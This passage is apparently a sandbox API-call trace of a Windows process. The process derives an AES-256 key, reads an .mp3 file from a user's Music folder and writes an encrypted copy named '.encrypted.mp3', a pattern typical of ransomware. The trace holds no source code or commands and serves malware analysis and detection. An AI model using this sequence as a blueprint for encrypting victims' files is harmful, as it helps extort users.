wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.231] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.231] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.231] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.231] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.231] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.232] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.232] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.232] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.232] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.232] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.232] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.232] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.232] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.232] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.233] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.233] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.233] CryptHashData (hHash=0xe8f4062b10, pbData=0xe8f418b330, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.233] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.233] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.233] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.233] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062b10, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062640) returned 1 [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.233] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.233] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.233] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.233] CryptDestroyHash (hHash=0xe8f4062b10) returned 1 [0027.234] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.235] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.235] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.235] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.235] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.235] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\NIF5N.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\nif5n.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.235] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.235] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.235] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.235] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.235] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.236] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.236] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\NIF5N.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\nif5n.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.236] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.237] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.238] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0027.239] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x54b9, lpOverlapped=0x0) returned 1 [0027.240] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.242] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.242] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.243] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.243] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.243] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.243] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.244] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.244] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.244] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.244] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.244] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.244] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.244] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.245] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.245] CryptGetKeyParam (in: hKey=0xe8f4062640, dwParam=0x7, pbData=0xe8f4064b20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.245] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.245] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.245] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.245] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.245] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.247] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.247] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x154b9, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x154c0) returned 1 [0027.247] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.247] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.247] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.247] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.247] CharLowerBuffW (in: lpsz="byte[87233]", cchLength=0xb | out: lpsz="byte[87233]") returned 0xb [0027.247] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.250] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.250] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.250] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.252] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.252] CryptEncrypt (in: hKey=0xe8f4062640, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x154b9, dwBufLen=0x154c0 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x154c0) returned 1 [0027.252] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.252] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.252] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.252] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.252] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.252] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.252] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0027.252] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0027.253] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.253] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.253] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.253] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.253] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.253] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.253] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.253] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.260] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.260] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.260] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.262] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, 